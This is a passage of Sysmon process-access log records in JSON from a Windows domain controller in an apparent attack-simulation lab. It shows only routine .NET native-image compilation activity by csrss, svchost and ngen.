7|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001066F30A00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001066F30A00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001066F30A00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001066F30A00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001013F70A00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001013F70A00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001013F70A00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001013F70A00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001013F70A00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001013F70A00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001006FA0A00}\r\nTargetProcessId: 4900\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001006FA0A00}","TargetProcessId":"4900","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001006FA0A00}\r\nTargetProcessId: 4900\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001006FA0A00}","TargetProcessId":"4900","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001006FA0A00}\r\nTargetProcessId: 4900\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001006FA0A00}","TargetProcessId":"4900","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Even